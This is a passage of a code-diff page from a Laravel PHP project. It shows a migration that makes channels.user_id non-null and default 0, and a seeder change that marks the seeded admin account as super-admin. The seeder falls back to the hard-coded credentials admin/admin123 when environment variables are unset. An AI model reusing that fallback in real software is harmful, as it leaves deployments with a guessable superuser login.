$table->dropForeign(['user_id']);
});
DB::table('channels')->whereNull('user_id')->update(['user_id' => 0]);
$driver = Schema::getConnection()->getDriverName();
if ($driver === 'mysql') {
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NOT NULL DEFAULT 0');
} elseif ($driver === 'sqlite') {
// SQLite cannot MODIFY easily; recreate is heavy — leave column nullable-compatible.
// Application always writes 0 for official.
}
Schema::table('channels', function (Blueprint $table) {
if (! Schema::hasColumn('channels', 'remark')) {
$table->string('remark', 255)->nullable()->after('status');
}
});
}
public function down(): void
{
Schema::table('channels', function (Blueprint $table) {
if (Schema::hasColumn('channels', 'remark')) {
$table->dropColumn('remark');
}
});
DB::table('channels')->where('user_id', 0)->update(['user_id' => null]);
$driver = Schema::getConnection()->getDriverName();
if ($driver === 'mysql') {
DB::statement('ALTER TABLE `channels` MODIFY `user_id` BIGINT UNSIGNED NULL');
}
Schema::table('channels', function (Blueprint $table) {
$table->foreign('user_id')->references('id')->on('users')->nullOnDelete();
});
}
};
+4 -1
View File
@@ -11,7 +11,10 @@ class AdminSeeder extends Seeder
{ {
Admin::query()->updateOrCreate( Admin::query()->updateOrCreate(
['username' => env('ADMIN_USERNAME', 'admin')], ['username' => env('ADMIN_USERNAME', 'admin')],
['password' => env('ADMIN_PASSWORD', 'admin123')] [
'password' => env('ADMIN_PASSWORD', 'admin123'),
'is_super' => 1,
]
); );
} }
} }
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long

Some files were not shown because too many files have changed in this diff Show More